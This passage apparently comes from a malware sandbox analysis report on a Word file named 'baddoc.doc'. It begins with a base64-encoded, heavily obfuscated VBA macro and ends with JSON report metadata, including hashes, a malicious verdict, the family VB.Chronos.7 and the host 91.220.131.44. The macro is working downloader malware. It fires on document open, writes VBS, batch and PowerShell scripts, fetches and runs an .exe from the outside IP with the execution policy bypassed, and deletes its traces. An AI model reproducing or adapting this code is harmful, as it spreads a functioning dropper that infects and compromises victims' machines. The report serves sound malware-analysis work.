ICIKICAgICBQcmludCAjRmlsZU51bWJlciwgIklmIG9ialhNTEhUVFAuU3RhdHVzID0gMjAwIFRoZW4iICsgIiIgJmFtcDsgIiIKICAgICBQcmludCAjRmlsZU51bWJlciwgInV3cWhkYSA9ICIgKyBDaHIoMzQpICsgIkFET0RCLiIgKyBDaHIoMzQpCiAgICAgUHJpbnQgI0ZpbGVOdW1iZXIsICJTZXQgb2JqQURPU3RyZWFtID0gQyIgKyAicmVhdGVPIiArICJiamVjdCh1d3FoZGErQ2hyKFNnbigtNCkrODQpKyIgKyBDaHIoMzQpICsgInRyZWFtIiArIENocigzNCkgKyAiKSIKICAgICAKICAgICBQcmludCAjRmlsZU51bWJlciwgIm9iakFET1N0cmVhbS5PcGVuICIKICAgICBQcmludCAjRmlsZU51bWJlciwgIm9iakFET1N0cmVhbS5UeXBlID0gMSIKICAgICBQcmludCAjRmlsZU51bWJlciwgIm9iakFET1N0cmVhbS5Xcml0ZSBvYmpYTUxIVFRQLlJlIiArICIiICsgInNwIiArICJvbnNlIiArICJCb2R5ICIKICAgICBQcmludCAjRmlsZU51bWJlciwgIm9iakFET1N0cmVhbS5Qb3NpdGlvbiA9IDAgIgogICAgIFByaW50ICNGaWxlTnVtYmVyLCAib2JqQURPU3RyZWFtLlMiICZhbXA7ICJhdmVUb0YiICZhbXA7ICJpbGUgc3QiICZhbXA7ICJyVCIgJmFtcDsgImVjYXRpb24gIiArICIiCiAgICAgUHJpbnQgI0ZpbGVOdW1iZXIsICJvYmpBRE9TdHJlYW0uQ2xvc2UgIgogICAgIFByaW50ICNGaWxlTnVtYmVyLCAiU2V0IG9iakFET1N0cmVhbSA9IE5vdGhpbmcgIgogICAgIFByaW50ICNGaWxlTnVtYmVyLCAiRW5kIGlmICIKICAgICBQcmludCAjRmlsZU51bWJlciwgIlNldCBvYmpYTUxIVFRQID0gTm90aGluZyIKICAgICBQcmludCAjRmlsZU51bWJlciwgIlNldCBvYmpTaGVsbCAiICZhbXA7ICI9IiArICIgIiArIENocihBc2MoIkMiKSkgKyAicmVhdGUiICsgIk8iICsgImJqZWN0KCIgKyBDaHIoMzQpICsgIlciICsgIlMiICsgImNyaXB0LiIgKyAiUyIgKyAiaGVsbCIgKyBDaHIoMzQpICsgIikiICsgIiIgJmFtcDsgIiIKICAgICBQcmludCAjRmlsZU51bWJlciwgIiIKICAgICBDbG9zZSAjRmlsZU51bWJlcgogICAgIAogICAgIFdhaXRGb3IgKDEpCiAgICAgCiAgICAgQVNLSkQgPSBUUlQKICAgICByZXRWYWwgPSBTaGVsbChBU0tKRCwgMCkKICAgICAKRW5kIElmCgoKSWYgKHdpbnZlciAmZ3Q7IDUuNSkgVGhlbgogICAgIE9wZW4gTVlfRklMRU5ESVIgRm9yIE91dHB1dCBBcyAjRmlsZU51bWJlcgogICAgIFByaW50ICNGaWxlTnVtYmVyLCAiJGRvd24gPSAiICsgQ2hyKEFzYygiTiIpKSAmYW1wOyAiZXciICZhbXA7ICItIiAmYW1wOyBDaHIoNzkpICZhbXA7ICJiamVjdCAiICZhbXA7IENocihBc2MoQ2hyKEFzYygiUyIpKSkpICZhbXA7ICJ5IiAmYW1wOyAic3RlbS4iICZhbXA7IENocig3OCkgJmFtcDsgImV0LiIgJmFtcDsgQ2hyKDg3KSAmYW1wOyAiZWIiICZhbXA7ICJDbGkiICZhbXA7ICJlbnQ7IgogICAgIFByaW50ICNGaWxlTnVtYmVyLCAiJHVybCAgPSAnIiArIENocihBc2MoQ2hyKEFzYygiaCIpKSkpICsgQ2hyKEFzYyhDaHIoQXNjKCJ0IikpKSkgKyBDaHIoQXNjKCJ0IikpICsgQ2hyKEFzYyhDaHIoQXNjKCJwIikpKSkgKyAiOi8vOTEuMjIwLjEzMSIgKyBKQVNIRFVJUVdIREtKUUFEICZhbXA7ICIuZSIgJmFtcDsgIngiICsgImUnOyIKICAgICBQcmludCAjRmlsZU51bWJlciwgIiRmaWxlID0gJ2M6XFVzZXJzXCIgKyBVU0VSICsgIlxBcHBEYXRhXExvY2FsXFRlbXBcIiArICI0IiAmYW1wOyAiNDQuIiArIENocigxMDEpICZhbXA7ICJ4ZSc7IgogICAgIFByaW50ICNGaWxlTnVtYmVyLCAiJGRvd24uaGVhZGVyc1siICsgQ2hyKDM5KSArICJVc2VyLUFnZW50IiArIENocigzOSkgKyAiXSA9ICdNb3ppbGxhLzUuMCAoTWFjaW50b3NoOyBJbnRlbCBNYWMgT1MgWCAxMF8xMCkgQXBwbGVXZWJLaXQvNjAwLjEuMjUgKEtIVE1MLCBsaWtlIEdlY2tvKSBWZXJzaW9uLzguMCBTYWYiICZhbXA7ICJhcmkvNjAwLjEuMjUnIiArICIrJyciICsgIiIgKyAiOyIKICAgICBQcmludCAjRmlsZU51bWJlciwgIiRkIiArICJvIiAmYW1wOyBDaHIoQXNjKCJ3IikpICsgIm4iICZhbXA7ICIuIiAmYW1wOyBDaHIoNjgpICZhbXA7ICJvdyIgJmFtcDsgIm5sb2EiICZhbXA7ICJkRmkiICZhbXA7ICJsZSgkdSIgJmFtcDsgInJsLCQiICZhbXA7ICJmaWxlKTsiCiAgICAgUHJpbnQgI0ZpbGVOdW1iZXIsICIkU2NyaXB0RGlyID0gJE15SW52b2NhdGlvbi5TY3JpcHROYW1lOyIKICAgICBQcmludCAjRmlsZU51bWJlciwgIiRzb21lRmlsZVBhdGggPSAnYzpcVXNlcnNcIiArIFVTRVIgKyAiXEFwcERhdGFcTG9jYWxcVGVtcFwiICsgIjQ0NC5lIiAmYW1wOyBDaHIoQXNjKCJ4IikpICsgImUiICZhbXA7ICInOyIKICAgIAogICAgIFByaW50ICNGaWxlTnVtYmVyLCAiJHZic0ZpbGVQYXRoID0gJ2M6XFVzZXJzXCIgKyBVU0VSICsgIlxBcHBEYXRhXExvY2FsXFRlbXBcIiArIFZCVDIgKyBDaHIoMzkpICsgQ2hyKDQzKSArIENocigzOSkgKyAiLiIgKyBDaHIoMzkpICsgQ2hyKDQzKSArIENocigzOSkgKyAidiIgKyBDaHIoMzkpICsgQ2hyKDQzKSArIENocigzOSkgKyAiYnMiICsgQ2hyKDM5KSArICI7IgogICAgIFByaW50ICNGaWxlTnVtYmVyLCAiJGIiICsgImEiICsgInRGaWxlUGF0aCA9ICdjOlxVc2Vyc1wiICsgVVNFUiArICJcQXBwRGF0YVxMb2NhbFxUZW1wXCIgKyBCQVJUMjsgQ2hyKDM5KSArIENocig0MykgKyBDaHIoMzkpICsgIi4iICsgQ2hyKDM5KSArIENocig0MykgKyBDaHIoMzkpICsgImIiICsgQ2hyKDM5KSArIENocig0MykgKyBDaHIoMzkpICsgImF0IiArIENocigzOSkgKyAiOyIKICAgICBQcmludCAjRmlsZU51bWJlciwgIiRwIiArICJzRmlsZVBhdGggPSAnYzpcVXNlcnNcIiArIFVTRVIgKyAiXEFwcERhdGFcTG9jYWxcVGVtcFwiICsgUFNUMiArIENocigzOSkgKyBDaHIoNDMpICsgQ2hyKDM5KSArICIuIiArIENocigzOSkgKyBDaHIoNDMpICsgQ2hyKDM5KSArICJwIiArIENocigzOSkgKyBDaHIoNDMpICsgQ2hyKDM5KSArICJzMSIgKyBDaHIoMzkpICsgIjsiCiAgICAgCiAgICAgUHJpbnQgI0ZpbGVOdW1iZXIsICJTdGFydC1TbGVlcCAtcyAxNTsiCiAgICAgUHJpbnQgI0ZpbGVOdW1iZXIsICJjIiAmYW1wOyBDaHIoMTA5KSAmYW1wOyAiZC5lIiAmYW1wOyBDaHIoMTIwKSAmYW1wOyAiZSAvYyAgJ2M6XFVzZXJzXCIgKyBVU0VSICsgIlxBcHBEYXRhXExvY2FsXFRlbXAiICsgIlw0NDQuZSIgJmFtcDsgQ2hyKDEyMCkgJmFtcDsgImUnOyAgICAgIgogICAgIFByaW50ICNGaWxlTnVtYmVyLCAiJGZpbGUxID0gZ2NpICQiICsgInYiICsgImIiICsgInNGaWxlUGF0aCAtRm9yY2UiCiAgICAgUHJpbnQgI0ZpbGVOdW1iZXIsICIkZmlsZTIgPSBnY2kgJCIgKyAiYiIgKyAiYSIgKyAidCIgKyAiRmlsZVBhdGggLUZvcmNlIgogICAgIFByaW50ICNGaWxlTnVtYmVyLCAiJGZpbGUzID0gZ2NpICQiICsgInAiICsgInMiICsgIkYiICsgImlsZVBhdGggLUZvcmNlIgogICAgIFByaW50ICNGaWxlTnVtYmVyLCAiSWYgKFRlc3QtUGF0aCAkdmJzRmlsZVBhdGgpeyBSZW1vdmUtSXRlbSAkdmJzRmlsZVBhdGggfSIKICAgICBQcmludCAjRmlsZU51bWJlciwgIklmIChUZXN0LVBhdGggJGJhdEZpbGVQYXRoKXsgUmVtb3ZlLUl0ZW0gJGJhdEZpbGVQYXRoIH0iCiAgICAgUHJpbnQgI0ZpbGVOdW1iZXIsICIkcHNIZWxsbyA9ICdhaXNkamhpcW93aGRpcSc7IgogICAgIFByaW50ICNGaWxlTnVtYmVyLCAiSWYgKFRlc3QtUGF0aCAkc29tZUZpbGVQYXRoKXsgUmVtb3ZlLUl0ZW0gJHNvbWVGaWxlUGF0aCB9IgogICAgIFByaW50ICNGaWxlTnVtYmVyLCAiUmVtb3ZlLUl0ZW0gJE15SU52b2NhdGlvbi5JbnZvY2F0aW9uTmFtZSIKICAgICBDbG9zZSAjRmlsZU51bWJlcgogICAgCiAgICBPcGVuIE1ZX0ZJTERJUiBGb3IgT3V0cHV0IEFzICNGaWxlTnVtYgogICAgUHJpbnQgI0ZpbGVOdW1iLCAiRGltIGRmZiIKICAgIFByaW50ICNGaWxlTnVtYiwgImRmZiA9IDY4IgogICAgUHJpbnQgI0ZpbGVOdW1iLCAiYyIgJmFtcDsgInVyIiAmYW1wOyBDaHIoQXNjKCJyIikpICZhbXA7ICJlbnQiICsgQ2hyKEFzYygiRCIpKSArICJpcmVjIiArICJ0b3J5ID0gbGVmdChXU2MiICZhbXA7ICJyaXB0LlNjcmlwdEZ1bGxOYW1lLCIgJmFtcDsgIihMIiArICJlbihXIiArICJTIiArICJjcmkiICsgInB0LlNjIiArICJyaXB0RnVsbE5hbWUpKS0obGVuKFciICsgIlNjIiArICJyaXB0LlNjcmlwdE5hbWUpKSkiCiAgICBQcmludCAjRmlsZU51bWIsICJTIiAmYW1wOyAiZXQgbyIgJmFtcDsgImJqIiAmYW1wOyBDaHIoQXNjKCJGIikpICZhbXA7ICJTTz1DIiAmYW1wOyAicmUiICZhbXA7ICJhdCIgJmFtcDsgImVPIiAmYW1wOyAiYiIgJmFtcDsgImplIiAmYW1wOyAiY3QoIiAmYW1wOyBDaHIoMzQpICZhbXA7IENocigzNCkgJmFtcDsgQ2hyKDM0KSAmYW1wOyAiJmFtcDsiICZhbXA7ICJTIiAmYW1wOyBDaHIoMzQpICZhbXA7IENocigiJmFtcDsiKSAmYW1wOyBDaHIoMzQpICZhbXA7ICJjciIgJmFtcDsgImlwdCIgJmFtcDsgImluZy5GIiAmYW1wOyAiaWxlUyIgJmFtcDsgInlzdGVtIiAmYW1wOyAiT2IiICZhbXA7ICJqZWN0IiAmYW1wOyBDaHIoMzQpICZhbXA7ICIpIgogICAgUHJpbnQgI0ZpbGVOdW1iLCAiY3VyIiArICJyZW50IiArIENocihBc2MoIkYiKSkgKyAiaWxlID0gIiAmYW1wOyBDaHIoMzQpICZhbXA7ICJDOlwiICZhbXA7IENocihBc2MoIlUiKSkgJmFtcDsgInNlcnNcIiArIFVTRVIgKyAiXEFwcERhdGFcTG9jYWxcVGVtcCIgKyAiXCIgKyBQU1QyICsgQ2hyKDM0KSArICImYW1wOyIgKyBDaHIoMzQpICsgIi4iICsgQ2hyKDM0KSArICImYW1wOyIgKyBDaHIoMzQpICsgInAiICsgQ2hyKDM0KSArICImYW1wOyIgKyBDaHIoMzQpICsgInMxIiArIENocigzNCkKICAgIFByaW50ICNGaWxlTnVtYiwgIiIgJmFtcDsgQ2hyKDgzKSAmYW1wOyAiZXQgIiAmYW1wOyBDaHIoMTExKSAmYW1wOyAiYmoiICZhbXA7IENocig4MykgJmFtcDsgImhlIiArIENocihBc2MoImwiKSkgKyBDaHIoQXNjKCJsIikpICsgIiA9ICIgJmFtcDsgQ2hyKFNnbigtNCkgKyA2OCkgKyAicmVhdGUiICZhbXA7IENocig3OSkgJmFtcDsgQ2hyKDk4KSAmYW1wOyAiamVjdCgiICZhbXA7IENocigzNCkgJmFtcDsgIlciICZhbXA7IENocigxMTUpICZhbXA7ICJjcmlwdC4iICZhbXA7IENocigxMTUpICZhbXA7ICJoZWxsIiAmYW1wOyBDaHIoMzQpICZhbXA7ICIpIiArICIiCiAgICBQcmludCAjRmlsZU51bWIsICIiICZhbXA7IENocigxMTEpICZhbXA7ICJiaiIgJmFtcDsgQ2hyKDgzKSAmYW1wOyAiaGVsbCIgJmFtcDsgQ2hyKDQ2KSAmYW1wOyBDaHIoODIpICZhbXA7ICJ1biAiICZhbXA7IENocigzNCkgJmFtcDsgInAiICZhbXA7IENocigxMTEpICZhbXA7ICJ3ZXIiICZhbXA7IENocig4MykgKyBDaHIoMzQpICsgIisiICsgQ2hyKDM0KSAmYW1wOyAiaGVsbC5lIiAmYW1wOyBDaHIoMTIwKSAmYW1wOyAiZSAtbiIgJmFtcDsgQ2hyKDExMSkgJmFtcDsgImV4aXQgLUV4ZSIgJmFtcDsgImN1dGlvblAiICZhbXA7IENocigxMTEpICZhbXA7ICJsaWN5IiAmYW1wOyAiIGJ5cCIgJmFtcDsgImFzcyAtbiIgJmFtcDsgQ2hyKDExMSkgJmFtcDsgInByIiAmYW1wOyBDaHIoMTExKSAmYW1wOyAiZmlsZSAtZmlsZSAiICZhbXA7IENocigzNCkgJmFtcDsgIiAmYW1wOyBjdXJyZW50RmlsZSwwLHRydWUiCiAgICAKICAgIFByaW50ICNGaWxlTnVtYiwgIiIKICAgIENsb3NlICNGaWxlTnVtYgogICAgCiAgICBPcGVuIEFTREFTRFNBIEZvciBPdXRwdXQgQXMgI0ZpbGVOcwogICAgUHJpbnQgI0ZpbGVOcywgIkBlY2hvIG9mZiIKICAgIFByaW50ICNGaWxlTnMsICJwaW5nIDEuMS4yLjIgLW4iICZhbXA7ICIgMiIKICAgIFByaW50ICNGaWxlTnMsICJjaGNwIDEyNTEiCiAgICBQcmludCAjRmlsZU5zLCAiOmNzYWtjbGFzamRrbGFzIgogICAgUHJpbnQgI0ZpbGVOcywgInNldCBWYXIxPSIgKyBDaHIoMzQpICsgIi4iICsgQ2hyKDM0KQogICAgUHJpbnQgI0ZpbGVOcywgInNldCBWYXIyPSIgKyBDaHIoMzQpICsgInYiICsgQ2hyKDM0KQogICAgUHJpbnQgI0ZpbGVOcywgInNldCBWYXIzPSIgKyBDaHIoMzQpICsgImJzIiArIENocigzNCkKICAgIFByaW50ICNGaWxlTnMsICJzZXQgVmFyND0iICsgQ2hyKDM0KSAmYW1wOyAiYzpcVXNlcnNcIiArIFVTRVIgKyAiXEFwcERhdGFcTG9jYWxcVGVtcCIgKyAiXCIgKyBWQlQyICsgQ2hyKDM0KQogICAgUHJpbnQgI0ZpbGVOcywgImMiICZhbXA7ICJzYyIgJmFtcDsgInJpIiAmYW1wOyAicHQiICZhbXA7IENocig0NikgKyBDaHIoMTAxKSAmYW1wOyBDaHIoMTIwKSAmYW1wOyAiZSAiICZhbXA7ICIlVmFyNCUiICsgIiVWYXIxJSVWYXIyJSVWYXIzJSIKICAgIFByaW50ICNGaWxlTnMsICJleGl0IgogICAgQ2xvc2UgI0ZpbGVOcwogICAgICAgCiAgICBTZXRBdHRyIE1ZX0ZJTEVORElSLCB2Yk5vcm1hbAogICAgU2V0QXR0ciBBU0RBU0RTQSwgdmJOb3JtYWwKICAgIFNldEF0dHIgTVlfRklMRElSLCB2Yk5vcm1hbAogICAgIAogICAgV2FpdEZvciAoMSkKICAgIFNKQUtMRCA9IEFTREFTRFNBCiAgICByZXRWYWwgPSBTaGVsbChTSkFLTEQsIDApCkVuZCBJZgoKICAgICAKICAgICBmaW5kVGVzdAogICAgc2Vjb25kVGVzdAogICAgRm9yIEVhY2ggbXlTdG9yeVJhbmdlIEluIEFjdGl2ZURvY3VtZW50LlN0b3J5UmFuZ2VzCiAgICBXaXRoIG15U3RvcnlSYW5nZS5GaW5kCiAgICAgICAgLlRleHQgPSAiJmx0OyIgJmFtcDsgInNlbCIgJmFtcDsgImVjdCZndDsiCiAgICAgICAgLlJlcGxhY2VtZW50LlRleHQgPSAiICIKICAgICAgICAuV3JhcCA9IHdkRmluZENvbnRpbnVlCiAgICAgICAgLkV4ZWN1dGUgUmVwbGFjZTo9d2RSZXBsYWNlQWxsCiAgICBFbmQgV2l0aAogICAgTmV4dCBteVN0b3J5UmFuZ2UKCiAgICBGb3IgRWFjaCBteVN0b3J5UmFuZ2UgSW4gQWN0aXZlRG9jdW1lbnQuU3RvcnlSYW5nZXMKICAgIFdpdGggbXlTdG9yeVJhbmdlLkZpbmQKICAgICAgICAuVGV4dCA9ICImbHQ7L3MiICZhbXA7ICJlbGUiICZhbXA7ICJjdCZndDsiCiAgICAgICAgLlJlcGxhY2VtZW50LlRleHQgPSAiICIKICAgICAgICAuV3JhcCA9IHdkRmluZENvbnRpbnVlCiAgICAgICAgLkV4ZWN1dGUgUmVwbGFjZTo9d2RSZXBsYWNlQWxsCiAgICBFbmQgV2l0aAogICAgTmV4dCBteVN0b3J5UmFuZ2UKICAgIAogICAgRm9yIEVhY2ggbXlTdG9yeVJhbmdlIEluIEFjdGl2ZURvY3VtZW50LlN0b3J5UmFuZ2VzCiAgICBXaXRoIG15U3RvcnlSYW5nZS5GaW5kCiAgICAgICAgLlRleHQgPSAiJmx0OyIgJmFtcDsgImluIiAmYW1wOyAiYm94Jmd0OyIKICAgICAgICAuUmVwbGFjZW1lbnQuVGV4dCA9ICIgIgogICAgICAgIC5XcmFwID0gd2RGaW5kQ29udGludWUKICAgICAgICAuRXhlY3V0ZSBSZXBsYWNlOj13ZFJlcGxhY2VBbGwKICAgIEVuZCBXaXRoCiAgICBOZXh0IG15U3RvcnlSYW5nZQoKICAgIEZvciBFYWNoIG15U3RvcnlSYW5nZSBJbiBBY3RpdmVEb2N1bWVudC5TdG9yeVJhbmdlcwogICAgV2l0aCBteVN0b3J5UmFuZ2UuRmluZAogICAgICAgIC5UZXh0ID0gIiZsdDsvIiAmYW1wOyAiaW4iICZhbXA7ICJib3gmZ3Q7IgogICAgICAgIC5SZXBsYWNlbWVudC5UZXh0ID0gIiAiCiAgICAgICAgLldyYXAgPSB3ZEZpbmRDb250aW51ZQogICAgICAgIC5FeGVjdXRlIFJlcGxhY2U6PXdkUmVwbGFjZUFsbAogICAgRW5kIFdpdGgKICAgIE5leHQgbXlTdG9yeVJhbmdlCiAgICAgCgpFbmQgU3ViClN1YiBXYWl0Rm9yKE51bU9mU2Vjb25kcyBBcyBMb25nKQpEaW0gU25nU2VjIEFzIExvbmcKU25nU2VjID0gVGltZXIgKyBOdW1PZlNlY29uZHMKCkRvIFdoaWxlIFRpbWVyICZsdDsgU25nU2VjCkRvRXZlbnRzCkxvb3AKCkVuZCBTdWIKClN1YiBBdXRvT3BlbigpCiAgICBBdXRvX09wZW4KRW5kIFN1YgpTdWIgV29ya2Jvb2tfT3BlbigpCiAgICBBdXRvX09wZW4KRW5kIFN1YgpTdWIgZmluZFRlc3QoKQpEaW0gZmlyc3RUZXJtIEFzIFN0cmluZwpEaW0gc2Vjb25kVGVybSBBcyBTdHJpbmcKRGltIHJydHQgQXMgUmFuZ2UKRGltIHNlbFJhbmdlIEFzIFJhbmdlCkRpbSBzZWxlY3RlZFRleHQgQXMgU3RyaW5nClVZQVMgPSAiIgpTZXQgcnJ0dCA9IEFjdGl2ZURvY3VtZW50LlJhbmdlCmZpcnN0VGVybSA9ICIiICsgIiZsdDsiICsgInMiICsgImUiICZhbXA7ICJsZSIgKyAiY3QmZ3Q7IiArIFVZQVMgKyAiIgpzZWNvbmRUZXJtID0gIiZsdDsiICsgIi8iICsgInNlIiArICJsIiAmYW1wOyAiZWMiICsgInQmZ3Q7IgpBU0tBU0FJRUogPSAiYXNrIGFzOGQgaiBkbmtqaDEya2gxIHNhZCIKV2l0aCBycnR0LkZpbmQKLlRleHQgPSBmaXJzdFRlcm0KLk1hdGNoV2hvbGVXb3JkID0gVHJ1ZQouRXhlY3V0ZQpBU0tVS0tJRUogPSAiYWFzZGxrYXNqZGFzayBhczhkIGogZG5ramgxMmtoMSBzYWQiCnJydHQuQ29sbGFwc2UgZGlyZWN0aW9uOj13ZENvbGxhcHNlRW5kClNldCBzZWxSYW5nZSA9IEFjdGl2ZURvY3VtZW50LlJhbmdlCnNlbFJhbmdlLlN0YXJ0ID0gcnJ0dC5FbmQKLlRleHQgPSBzZWNvbmRUZXJtCi5NYXRjaFdob2xlV29yZCA9IFRydWUKLkV4ZWN1dGUKQVNLU0FTQURXID0gImFzamxka2xhcyIKcnJ0dC5Db2xsYXBzZSBkaXJlY3Rpb246PXdkQ29sbGFwc2VTdGFydApzZWxSYW5nZS5FbmQgPSBycnR0LlN0YXJ0CnNlbGVjdGVkVGV4dCA9IHNlbFJhbmdlLkRlbGV0ZQpFbmQgV2l0aApFbmQgU3ViCgpTdWIgc2Vjb25kVGVzdCgpCkRpbSBmaXJzdFRlcm0gQXMgU3RyaW5nCkRpbSBzZWNvbmRUZXJtIEFzIFN0cmluZwpEaW0gbXlSYW5nZXQgQXMgUmFuZ2UKRGltIHl5dHQgQXMgUmFuZ2UKRGltIHNlbFJhbmdldCBBcyBSYW5nZQpEaW0gc2VsZWN0ZWRUZXh0dCBBcyBTdHJpbmcKClNldCB5eXR0ID0gQWN0aXZlRG9jdW1lbnQuUmFuZ2UKU0tIREFKS0hBU0ogPSAiYXNsa2RqayBzYWRrc2FqIGtzYWxqZCBrbHNhamQga3NhamQgS1NKREtBU0wgSkQiCmZpcnN0VGVybSA9ICImbHQ7IiArICJpbiIgJmFtcDsgImJvIiArICJ4Jmd0OyIKc2Vjb25kVGVybSA9ICImbHQ7LyIgKyAiaW4iICZhbXA7ICJibyIgKyAieCZndDsiCldpdGggeXl0dC5GaW5kCi5UZXh0ID0gZmlyc3RUZXJtCi5NYXRjaFdob2xlV29yZCA9IFRydWUKLkV4ZWN1dGUKQVNLSUVKID0gImFzayBhczhkIGogZG5ramgxMmtoMSBzYWQiCnl5dHQuQ29sbGFwc2UgZGlyZWN0aW9uOj13ZENvbGxhcHNlRW5kCgpTZXQgc2VsUmFuZ2V0ID0gQWN0aXZlRG9jdW1lbnQuUmFuZ2UKc2VsUmFuZ2V0LlN0YXJ0ID0geXl0dC5FbmQKLlRleHQgPSBzZWNvbmRUZXJtCi5NYXRjaFdob2xlV29yZCA9IFRydWUKLkV4ZWN1dGUKCnl5dHQuQ29sbGFwc2UgZGlyZWN0aW9uOj13ZENvbGxhcHNlU3RhcnQKc2VsUmFuZ2V0LkVuZCA9IHl5dHQuU3RhcnQKc2VsZWN0ZWRUZXh0dCA9IHNlbFJhbmdldApzZWxSYW5nZXQuRm9udC5Db2xvciA9IHdkQ29sb3JCbGFjawpFbmQgV2l0aApFbmQgU3Vi1b:["$","$L2",null,{"children":[["$","script",null,{"type":"application/ld+json","dangerouslySetInnerHTML":{"__html":"$23"}}],["$","$L24",null,{"initialData":{"job_id":"5e99e70d81a0de676760bdfb","environment_id":120,"environment_description":"Windows 7 64 bit","size":64000,"type":"Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.1, Code page: 1251, Template: Normal.dotm, Revision Number: 1, Name of Creating Application: Microsoft Office Word, Create Time/Date: Sun Feb 8 19:56:00 2015, Last Saved Time/Date: Tue Feb 10 15:27:00 2015, Number of Pages: 1, Number of Words: 51, Number of Characters: 291, Security: 0","type_short":["doc","office"],"type_short_id":"doc","target_url":null,"state":"SUCCESS","error_type":null,"error_origin":null,"submit_name":"baddoc.doc","md5":"a3b613d128aace09241504e8acc678c2","sha1":"edde71ccadfad1380b881da5ecafc77fba5885b8","sha256":"8b92c23b29422131acc150fa1ebac67e1b0b0f8cfc1b727805b842a88de447de","sha512":"cef74b5b9fb3c4dba72650401dfe31b059db239a3248e1c9b91ab7f95907080d1b6258b32e4817184540129339f60c95f4e9e991d115e8414aea3b108eaf8dec","ssdeep":"768:+0MGUUTYQin+b4C7UqCVuO1BtWmxzdrZUIdjXgAmxZp2j5s2p:+0MGUUTYQic8qS1XndrZf8pMV","imphash":null,"entrypoint":null,"entrypoint_section":null,"image_base":null,"subsystem":null,"image_file_characteristics":[],"dll_characteristics":[],"major_os_version":null,"minor_os_version":null,"av_detect":66,"vx_family":"VB.Chronos.7","url_analysis":false,"analysis_start_time":"2020-04-17T17:27:47+00:00","threat_score":100,"interesting":false,"threat_level":2,"verdict":"malicious","certificates":[],"is_certificates_valid":false,"certificates_validation_message":"No signature was present in the subject. (0x800b0100)","domains":[],"compromised_hosts":["91.220.131.44"],"hosts":["91.220.131.44"],"total_network_connections":1,"total_processes":7,"total_signatures":41,"extracted_files":[{"name":"~_baddoc.doc","file_path":null,"file_size":162,"md5":"16cf07b6d6f758652122f5c01b561b38","sha1":"5ef543ce193044191392e2b8e887a300c52baf74","sha256":"3882a3e04d6cf66707b31c8cb14a7c9fe512d10dd355f97a37e8666270f6e17d","sha512":"74c4774646d522d6304e9098345e0231459dd892bc244df95488de34dd0a7fdcb15855e96d6113527d3b6a7d2bfd01819ff4359416df796d31072e8f9ad84b58","type_tags":["data"],"description":"data","runtime_process":"WINWORD.EXE (PID: 308)","threat_level":0,"threat_level_readable":"no specific threat","group":"clean","av_label":null,"av_matched":0,"av_total":53,"file_available_to_download":true,"download_link":"/bff/report/5e99e70d81a0de676760bdfb/download/dropped-file?key=1983b421f26eb92fd6ec838adb973eb74335c0b08f9fe76a7c08215169c43afd55376848b2f603eb903ef17d848b80aa19e0fbe01c7b806ce6c9674aff84a70ca9eeedbc2b61dd","submit_link":"/bff/report/5e99e70d81a0de676760bdfb/submit/dropped-file?key=1983b421f26eb92fd6ec838adb973eb74335c0b08f9fe76a7c08215169c43afd55376848b2f603eb903ef17d848b80aa19e0fbe01c7b806ce6c9674aff84a70ca9eeedbc2b61dd","has_overview":true,"extended_details":null},{"name":"adobeacd-update.bat","file_path":"%TEMP%\\adobeacd-update.bat","file_size":209,"md5":"7760464bbd9ad8936613dbe24f8d056a","sha1":"c1c241d84e44232ddb9a5058e657068735457c7f","sha256":"5eb74ba5f5647d18f7b5bcf1f83e7a48c8d42493a5998c90df4a7f3c931c03f3","sha512":"7556723a44beca8b837b1a19af5aa19c988faccd96e51cf2405c78f2363028a67869493493159224f6a97e0111f03222303851c700a36e3433980c95af0505d2","type_tags":["text"],"description":"DOS batch file, ASCII text, with CRLF line terminators","runtime_process":"WINWORD.EXE (PID: 308)","threat_level":0,"threat_level_readable":"no specific threat","group":"informative selection","av_label":null,"av_matched":null,"av_total":null,"file_available_to_download":true,"download_link":"/bff/report/5e99e70d81a0de676760bdfb/download/dropped-file?key=41d49b27c1b6533730615f05194f867840ec3f672fd491f822947436fb3179ba09402a4cb59c057d7e4d96f56216b8cef33eaf46102bc13b551d8a7ce6270a450c89cdb72af05f6a8267826d24fc","submit_link":"/bff/report/5e99e70d81a0de676760bdfb/submit/dropped-file?key=41d49b27c1b6533730615f05194f867840ec3f672fd491f822947436fb3179ba09402a4cb59c057d7e4d96f56216b8cef33eaf46102bc13b551d8a7ce6270a450c89cdb72af05f6a8267826d24fc","has_overview":false,"extended_details":null},{"name":"adobeacd-update.ps1","file_path":"%TEMP%\\adobeacd-update.ps1","file_size":1118,"md5":"de4b49833f7c1583c13cce684b39eefa","sha1":"334b9dd8dfe505b4bb7278481822450582233223","sha256":"6e2c90c24cf2baa783f92fb7d52b959598536ef4e4cb0e9830862abcf336a42e","sha512":"f0005719ef05806914e0eb9a234bab1a74cd2cbe53a6b45942d7eb7e16aa489d72ebd52caf9ffe7149e75ed5bcf83ee5a66e2137e1ee94fc48f2eec29a246da0","type_tags":["text"],"description":"ASCII text, with CRLF line terminators","runtime_process":"WINWORD.EXE (PID: 308)","threat_level":0,"threat_level_readable":"no specific threat","group":"informative selection","av_label":null,"av_matched":null,"av_total":null,"file_available_to_download":true,"download_link":"/bff/report/5e99e70d81a0de676760bdfb/download/dropped-file?key=2c0bd754d8fc7acfcfd7350eeab595746adc1e82b101d5a675d0582541a71674266b7d79fc54b0de54f1fb27f220d1e46c8e72208d1abc65573c065e1d03d054a61a4aea215a8843a58edbc54362","submit_link":"/bff/report/5e99e70d81a0de676760bdfb/submit/dropped-file?key=2c0bd754d8fc7acfcfd7350eeab595746adc1e82b101d5a675d0582541a71674266b7d79fc54b0de54f1fb27f220d1e46c8e72208d1abc65573c065e1d03d054a61a4aea215a8843a58edbc54362","has_overview":false,"extended_details":null},{"name":"baddoc.LNK","file_path":"%APPDATA%\\Microsoft\\Office\\Recent\\baddoc.LNK","file_size":441,"md5":"2fcf0af2aaab64e0b9f9a8d4db1e0aa5","sha1":"100cd3aa11f167454965ddb591b3386ec6a72718","sha256":"53a2eeeec1af9fdd56f25bd2898f135e4a5050c0e8b2407ec9c50d8c555e91a6","sha512":"0589769e0e912f03e4e8886c2c61e2de8f4751721d034c555d758f647b56a83ccaae0b4f267276e7d0f2dddaa037e5e7242078564f61cd7243e58ed0618b8ef7","type_tags":["lnk"],"description":"MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Archive, ctime=Fri Apr 17 17:28:44 2020, mtime=Fri Apr 17 17:28:44 2020, atime=Fri Apr 17 17:28:51 2020, length=64000, window=hide","runtime_process":"WINWORD.EXE (PID: 308)","threat_level":0,"threat_level_readable":"no specific 